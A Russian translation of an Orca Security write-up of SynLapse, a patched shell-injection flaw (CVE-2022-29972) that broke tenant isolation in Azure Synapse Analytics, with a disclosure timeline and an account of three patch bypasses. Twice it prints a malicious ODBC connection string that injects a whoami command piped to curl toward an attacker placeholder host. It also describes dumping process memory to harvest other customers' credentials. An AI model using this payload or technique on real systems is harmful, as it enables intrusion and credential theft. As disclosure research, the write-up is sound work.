Автор: Цах Пахима
Один вектор атаки закрыт, рекомендуется дополнительное усиление.
В этой статье описываются технические детали SynLapse. Мы откладывали публикацию, чтобы дать клиентам Synapse время на исправление локальных версий и пересмотр использования Azure Synapse. Компания Microsoft внедрила несколько улучшений, продолжая работать над комплексной изоляцией арендаторов.
Исследователю Orca Security Цаху Пахиме принадлежит заслуга в обнаружении SynLapse - критической уязвимости Synapse Analytics в Microsoft Azure, также затрагивающей Azure Data Factory. Она позволяла злоумышленникам обходить разделение арендаторов, включая возможность:
- Получать учетные данные других учетных записей клиентов Azure Synapse.
- Контролировать их рабочие пространства Azure Synapse.
- Выполнять код на машинах целевых клиентов внутри Azure Synapse Analytics.
- Утечка учетных данных клиента в источники данных, внешние по отношению к Azure.
Не зная ничего, кроме названия рабочего пространства Azure Synapse, злоумышленник может получить учетные данные жертвы, введенные в Synapse.
Что такое Azure Synapse Analytics?
Сервис Azure Synapse Analytics импортирует и обрабатывает данные из множества источников данных клиентов (например, CosmosDB, Azure Data Lake и внешних источников, таких как Amazon S3).
Каждый экземпляр Synapse называется рабочей областью. Чтобы импортировать и обработать данные из внешнего источника, клиент вводит учетные данные и релевантные данные, а затем подключается к источнику с помощью интеграционной среды - машины, которая связана со многими различными источниками данных.
Время выполнения интеграции может быть либо самостоятельным (локальным), либо размещенным в облаке Azure (через Azure Data Factory Integration Runtime). Размещенные в облаке Azure IR также могут быть настроены с помощью управляемой виртуальной сети (VNet) для использования частных конечных точек для внешних подключений, что может обеспечить дополнительные уровни изоляции.
Временная шкала обнаружения SynLapse.
Время жизни уязвимости: более 100 дней для окончательного исправления. Выпущено 3 исправления, первые два были неэффективны. Сертификат для внутреннего сервера управления был отозван только через 96 дней.
- 4 января - исследовательская группа Orca Security раскрыла уязвимость Центру реагирования на угрозы безопасности Microsoft (MSRC), вместе с ключами и сертификатами, которые мы смогли извлечь.
- 19 февраля и 4 марта - MSRC запросил дополнительную информацию для проведения расследования. Каждый раз мы отвечали на следующий день.
- Конец марта - MSRC развернул первоначальный патч.
- 30 марта - Orca смогла обойти патч. Сервис Synapse остается уязвимым.
- 31 марта - Azure присуждает нам $60 000 за наше открытие.
- 4 апреля (через 90 дней после раскрытия информации) - Orca Security уведомляет Microsoft, что ключи и сертификаты все еще действительны. У Orca все еще был доступ к серверу управления Synapse.
- 7 апреля - Orca встретилась с MSRC, чтобы прояснить последствия уязвимости и необходимые шаги для ее полного устранения.
- 10 апреля - MSRC исправляет обход и, наконец, отзывает сертификат сервера управления Synapse. Orca снова смогла обойти патч. Сервис Synapse остается уязвимым.
- 15 апреля - MSRC выпустила третий патч, исправляющий RCE и заявленные векторы атак.
- 9 мая - Orca Security и MSRC публикуют статьи, в которых описывают уязвимость, способы ее устранения и рекомендации для клиентов.
- Конец мая - Microsoft развертывает более полную изоляцию арендаторов, включая виртуальные машины и маркеры для общего Azure Integration Runtimes.
Насколько критичным была уязвимость SynLapse?
SynLapse позволяет злоумышленникам получить доступ к ресурсам Synapse, принадлежащим другим клиентам, через внутренний API-сервер Azure, управляющий интеграционными рабочими процессами. Зная имя рабочего пространства, мы могли выполнить следующее:
- Получить авторизацию в учетных записях других клиентов, действуя как их рабочее пространство Synapse. Мы могли получить доступ к еще большему количеству ресурсов внутри учетной записи клиента в зависимости от конфигурации.
- Получить учетные данные клиентов, хранящиеся в их рабочем пространстве Synapse.
- Обмениваться данными с рабочими средами интеграции других клиентов. Мы могли использовать это для удаленного выполнения кода (RCE) на любых интеграционных системах заказчика.
- Получение контроля над пакетным пулом Azure, управляющим всеми общими интеграционными рабочими средами. Мы можем запускать код на каждом экземпляре.
Рис. 1: Последовательность атаки с применением SynLapse.
Как Orca Security обнаружила SynLapse?
1. RCE
Исследуя локальные интеграционные среды, я обнаружил RCE-уязвимость shell-инъекции (CVE-2022-29972) в коннекторе Magnitude Simba Redshift ODBC, используемом в ПО Microsoft.
Инъекция была обнаружена в плагине SAML-аутентификации одного из коннекторов, уязвимый код должен был запустить браузер, но сделал это с помощью shell-команды, уязвимой для инъекции:
Рис. 2: Код shell-инъекции
Стоит отметить, что после этого было выпущено 4 CVE, все с одинаковой полезной нагрузкой.
Это можно было использовать при установке внешнего источника данных с помощью следующей вредоносной строки подключения ODBC:
Driver={Microsoft Amazon Redshift ODBC Driver_1.4.21.1001};UID=uid;PWD=pwd;Database=dev;Servername=redshiftserver.com;IdP_Response_Timeout=1;IAM=1;plugin_name=BrowserSAML;LOGIN_URL={exit" | whoami | curl --data-binary @- -m 5 "http://HTTP_SERVER_HERE" | echo "1}
Используя это, я могу выполнить код на...себе. Вернее, на моей собственной интеграционной среде выполнения, которая является виртуальной машиной, принадлежащей мне. Не очень интересно.
2. Переход к общей среде выполнения
Интеграционные среды выполнения - это машины, которые подключаются к внешним источникам и обрабатывают данные.
В Synapse есть три типа интеграционных сред выполнения: одна из них размещается локально, а две других - в Azure:
- Self-hosted IR (SHIR): Любая машина Windows (не обязательно виртуальная машина Azure) после установки программного обеспечения SHIR. По своей конструкции SHIR предназначены для одного клиента.
- Azure IR (без управляемой виртуальной сети): По умолчанию Azure IR размещается в облаке. Пул машин, совместно используемых несколькими клиентами для выполнения операций в пайплайне.
- Azure IR (с управляемой виртуальной сетью): Этот размещенный в облаке Azure IR предоставляет выделенный контейнер, который не используется совместно несколькими клиентами.
Поэтому при настройке среды выполнения в своем рабочем пространстве вы столкнетесь с такими вариантами:
Рис. 3: Настройка интеграционной среды выполнения.
Azure integration runtime (предположительно, совместно используемая несколькими клиентами) и локальная, которую мы уже исследовали, поскольку она работает на моей машине. Они обе поддерживают практически одни и те же функции.
Теперь, когда вы пытаетесь использовать ODBC-соединение и пытаетесь выбрать среду выполнения интеграции, Synapse не позволяет вам выбрать Azure-hosted, вероятно, по соображениям безопасности:
Рис. 4: Настройка интеграционной среды выполнения.
Но если вы просто выполните тот же запрос, но измените имя среды выполнения интеграции «IntegrationRuntime1», которая является моей собственной средой выполнения, на «AutoResolveIntegrationRuntime», которая является средой выполнения интеграции Azure по умолчанию...
Это. Просто. Сработает.
Итак, теперь у нас есть RCE на общей среде выполнения интеграции Synapse, принадлежащей Azure.
Опять же, контекст выполнения кода на самом деле не должен иметь высоких разрешений, как и машина не должна иметь особых привилегий. Помните, все, что делает среда выполнения интеграции, - это подключается к источнику данных и выполняет небольшую обработку. На этом проблема должна была бы быть исчерпана.
Но этого не произошло.
3. Общая среда выполнения
Разрешения? NT Authority\SYSTEM ничего не напоминает?
Рис. 5: Уязвимые разрешения.
Наш код выполняется в процессе под названием TaskExecutor.exe, я сделал дамп его памяти с помощью procdump и был поражен, обнаружив обычные учетные данные и токены, принадлежащие нескольким компаниям. Один из них был токеном к собственной учетной записи Microsoft в другом сервисе анализа данных. Все они сейчас просрочены и отозваны Microsoft после нашего отчета.
Вот выборка пользователей, которых Orca смогла слить таким образом (цензура в целях конфиденциальности):
Рис. 6: Утечка учетных данных.
4. Сертификат и внутренний сервер управления Synapse.
Это еще не все.
Общая среда выполнения интеграции содержала клиентский сертификат, используемый для аутентификации на внутреннем сервере управления. Используя сертификат сервер может получить доступ к своим конфигурационным данным и задачам (например, к чему подключиться следующим, какую операцию выполнить).
Почему это проблема? Сервер управления может делать гораздо больше, чем просто отображать конфигурационные данные среды выполнения интеграции.
API сервера позволяет запрашивать данные о среде выполнения интеграции и других рабочих пространствах, а также получать идентификаторы рабочих пространств Synapse, принадлежащих другим учетным записям. Последнее открывает возможность выполнять практически все мыслимые действия в рабочем пространстве Azure Synapse любого клиента. Более того, объединив RCE и возможность связи сервера API с другими интеграционными рабочими средами, мы могли бы выполнить код на любой интеграционной рабочей среде, имея только имя рабочего пространства Synapse.
Это можно было сделать, выполнив код на пользовательской среде выполнения интеграции или на используемой общей среде выполнения интеграции, а затем сделав дамп памяти процесса, который обрабатывал внешние соединения. Дамп памяти включает учетные данные внешних баз данных, серверов, служб Azure и практически все остальные критичные данные.
Теперь, вооружившись этими возможностями, мы смогли извлечь и самые конфиденциальные данные, сохраненные в Synapse - учетные данные пользователей для внешних источников данных. У нас на ладони была любая среда выполнения интеграции и рабочее пространство Synapse. Вы можете представить, насколько разрушительной могла быть эта возможность в руках злоумышленников.
Главный баг: предоставление доступа к сертификату клиента Synapse с полными правами к внутреннему API-серверу.
Стоит отметить, что основной недостаток безопасности заключался не столько в возможности выполнения кода в общей среде, сколько в последствиях этого. Если говорить точнее, выполнение кода в общей среде открывало доступ клиентскому сертификату внутреннего сервера API. Это позволило злоумышленнику скомпрометировать сервис и получить доступ к ресурсам других клиентов.
Решение проблемы заключается в том, чтобы убедиться, что разделяемая среда не содержит указанный сертификат, или уменьшить права доступа к сертификату.
Исправление: Как компания MSRC исправила SynLapse?
Не очень просто.
Вы ожидали, что они удалят сертификат с сервера, как описано выше, или изменят права доступа. Они попробовали кое-что другое.
Попытка №1: Запрещение ODBC.
RCE использует строку подключения ODBC. MSRC попытался предотвратить использование атакующим коннектора ODBC в общей среде интеграции, поэтому когда вы попытаетесь передать его в запросе, вы получите ошибку:
'GenericOdbc' connector is not supported on Azure Integration Runtime, please change to use a Self Hosted Integration Runtime.
Коннектор ODBC называется «GenericOdbc» в полезной нагрузке запроса. Итак, кажется, что патч работает - но когда я протестировал его, я обнаружил проблему.
После декомпиляции DLL, отвечающей за коннекторы (Microsoft.DataTransfer.Gateway.TaskEngine.dll), был обнаружен следующий фрагмент кода:
Рис. 7: Обход первого патча.
Даже не погружаясь слишком глубоко в реализацию, вы уже видите, что GenericOdbc - это GenericOdbcConnector, как и Informix и MicrosoftAccess - они оба работают со строками подключения ODBC.
Обходной путь? Та же самая полезная нагрузка, только тип коннектора не ODBC, а «MicrosoftAccess».
Попытка №2: Запрещение GenericOdbc... ?
Мы сообщили об обходе в Microsoft и ждали, пока они исправят основную проблему.
Они заблокировали MicrosoftAccess и все подобные коннекторы, ведущие к GenericOdbcConnector.
Проблема: они оставили открытым коннектор под названием GenericOdbcPartition. Этот коннектор, хотя и не так прост для понимания, в конечном итоге приводит к созданию ODBC-соединения.
Рис. 8: Обход второго патча.
Итак, снова та же самая полезная нагрузка, за исключением типа коннектора «GenericOdbcPartition».
Попытка №3: Очень близко.
Эта попытка стала для MSRC успешной, вроде бы...
Они отключили все, что ведет к ODBC, за исключением некоторых коннекторов, которые должны использовать ODBC, но строят свою собственную строку подключения способом, который не полностью контролируется пользователем.
private static IList<string> odbcConnectorList = new List<string>
{ "Cassandra", "Salesforce", "SalesforceServiceCloud", "MongoDb",
"AmazonRedshift", "Couchbase", "HBase", "Impala", "Oracle", "AzureMySql" };
Метод построения строки подключения ODBC в коннекторе AmazonRedshift выглядит следующим образом:
public string BuildConnectionString()
{
/* … */
OdbcConnectionStringBuilder odbcConnectionStringBuilder = new OdbcConnectionStringBuilder();
/* … */
odbcConnectionStringBuilder.Add("Driver", rfiDriverNameWithVersion);
connection.ConnectionSettings.Properties.HandleDriverLogSettingsInConnectionString
(odbcConnectionStringBuilder);
odbcConnectionStringBuilder.Add("server", connection.ConnectionSettings.Server);
odbcConnectionStringBuilder.Add("database", connection.ConnectionSettings.Database);
odbcConnectionStringBuilder.Add("port", connection.ConnectionSettings.Port);
odbcConnectionStringBuilder.Add("uid", connection.ConnectionSettings.Username);
odbcConnectionStringBuilder.Add("pwd", connection.ConnectionSettings.Password);
odbcConnectionStringBuilder.Add("SSLMode", "verify-full");
odbcConnectionStringBuilder.Add("SingleRowMode", "1");
odbcConnectionStringBuilder.Add("KeepAlive", "1");
odbcConnectionStringBuilder.Add("KeepAliveTime", "180");
OdbcCommon.ValidateConnectionString(odbcConnectionStringBuilder,
connection.ConnectionSettings.Properties);
return odbcConnectionStringBuilder.ConnectionString;
}
Каждый коннектор реализует функцию BuildConnectionString, которая вызывается, как вы догадались, для создания строки подключения ODBC.
Приведенная выше реализация в целом безопасна, OdbcConnectionStringBuilder - это обычный API .NET.
Я просмотрел все коннекторы ODBC, чтобы убедиться, что каждый BuildConnectionString реализован безопасно, и, конечно же, в коннекторе Salesforce:
public string BuildConnectionString()
{
/* ... */
OdbcConnectionStringBuilder odbcConnectionStringBuilder
= new OdbcConnectionStringBuilder();
odbcConnectionStringBuilder.Add("uid", connection.ConnectionSettings.Username);
odbcConnectionStringBuilder.Add("pwd", connection.ConnectionSettings.Password);
odbcConnectionStringBuilder.Add("Url", connection.ConnectionSettings.EnvironmentUrl);
/* ... */
if (!string.IsNullOrEmpty(connection.ConnectionSettings.ExtendedProperties))
{
OdbcConnectionStringBuilder odbcConnectionStringBuilder2 = new
OdbcConnectionStringBuilder(connection.ConnectionSettings.ExtendedProperties);
foreach (string key in odbcConnectionStringBuilder2.Keys)
{
if (!string.IsNullOrEmpty((string)odbcConnectionStringBuilder2[key]))
{
odbcConnectionStringBuilder[key] = odbcConnectionStringBuilder2[key];
}
}
}
return odbcConnectionStringBuilder.ConnectionString;
}
Смогли ли вы определить местонахождение проблемы?
Весь смысл реализации BuildConnectionString заключается в том, чтобы убедиться, что строка соединения ODBC ограничена и является безопасной строкой соединения, с жестко закодированными атрибутами, которые гарантируют, что никто не использует вредоносный «Driver» (коннектор ODBC) или любой другой атрибут, который может сделать платформу уязвимой для атаки.
Такая реализация BuildConnectionString не очень хороша. Коннектор Salesforce поддерживает свойство под названием «extendedProperties», это строка ODBC (преобразованная в словарь), содержащая ключи и значения, которые будут просто присвоены основной строке соединения ODBC.
Таким образом, передавая полезную нагрузку коннектора Salesforce:
{
"environmentUrl":"https://login.salesforce.com",
"username":"aaaa",
"password":{
"type":"SecureString",
"value":"bbbb"
},
"extendedProperties":
"Driver={Microsoft Amazon Redshift ODBC Driver_1.4.21.1001};
UID=uid;PWD=pwd;Database=dev;Servername=redshiftserver.com;IdP_Response_Timeout=1;
IAM=1;plugin_name=BrowserSAML;LOGIN_URL={exit" | whoami |
curl --data-binary @- -m 5 "http://HTTP_SERVER_HERE" | echo "1}",
"apiVersion":"45.0"
}
Здесь есть только одна загвоздка.
Загвоздка.
Это не сработало. Вернее, это сработало на моей интеграционной среде, но не на общем экземпляре…
MSRC в это время занимался исправлениями и устранением уязвимостей, и, вероятно, каким-то образом отключил доступ к уязвимой функции в коннекторе Redshift. Я попытался найти другой уязвимый коннектор и использовать его через полный доступ к ODBC, который я только что получил.
Я нашел больше уязвимостей для использования этого доступа, но когда в середине моей работы - после выполнения нескольких запросов, тестирующих некоторые уязвимости, - оказалось, что Microsoft исправила коннектор Salesforce, который я эксплуатировал. Вот и пропал мой обход ODBC.
Я искал другой вариант, включая некоторые другие способы выполнения кода, но через несколько дней пришел к выводу, что этот вектор атаки был достаточно хорошо исправлен.
Устранение первопричины.
Сообщив о проблеме, мы предложили Microsoft реализовать несколько мер по ее устранению, а именно:
- Песочница - перенести среду выполнения общей интеграции в виртуальную машину с песочницей. Это означает, что если злоумышленник сможет выполнить код в среде выполнения интеграции, она никогда не будет совместно использоваться двумя различными арендаторами, поэтому никакие конфиденциальные данные не будут в опасности.
- Ограничение доступа к API - реализовать доступ с наименьшими привилегиями к внутреннему серверу управления, это не позволит злоумышленникам использовать сертификат для доступа к информации других арендаторов.
В начале июня Microsoft сообщила нам, что выполнила все рекомендации, и Synapse Integration Runtime теперь использует эфемерные узлы и токены API с наименьшими привилегиями.
В свете этой информации мы теперь считаем, что Azure Synapse Analytics обеспечивает достаточную изоляцию арендаторов. Поэтому мы удалили оповещения о Synapse из платформы Orca Cloud Security Platform. Microsoft продолжает работать над дополнительной изоляцией и укреплением своей облачной среды.
SynLapse, а также предыдущие критические уязвимости в облаке, такие как Azure AutoWarp, AWS Superglue и AWS BreakingFormation, показывают, что ничто не является «пуленепробиваемым», и существует множество способов проникновения злоумышленников в вашу облачную среду. Вот почему важно иметь полную видимость вашей облачной среды, включая наиболее важные маршруты атак. Чтобы помочь в этом, приглашаем вас ознакомиться с нашими технологиями и талантами на собственном опыте, проведя бесплатную оценку рисков облачных сервисов без каких-либо обязательств. Вы получите полный обзор вашего публичного облака, подробный отчет о рисках с резюме и время, проведенное с нашими экспертами по облачной безопасности.
Источник: https://orca.security
